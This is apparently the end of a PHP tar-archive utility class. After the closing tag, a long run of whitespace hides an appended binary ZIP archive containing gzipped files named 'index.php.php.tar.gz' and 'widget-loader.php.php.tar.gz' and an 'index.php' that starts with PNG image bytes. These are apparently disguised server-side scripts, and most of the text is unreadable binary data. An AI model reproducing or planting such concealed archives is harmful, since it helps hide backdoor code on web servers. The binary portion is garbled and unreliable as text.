		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   PK     S])cJf  Jf    index.php.php.tar.gznu [              w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @ PK     S]k++R  R    widget-loader.php.php.tar.gznu [              Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
  PK     S]&79 9 	  index.phpnu [        ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
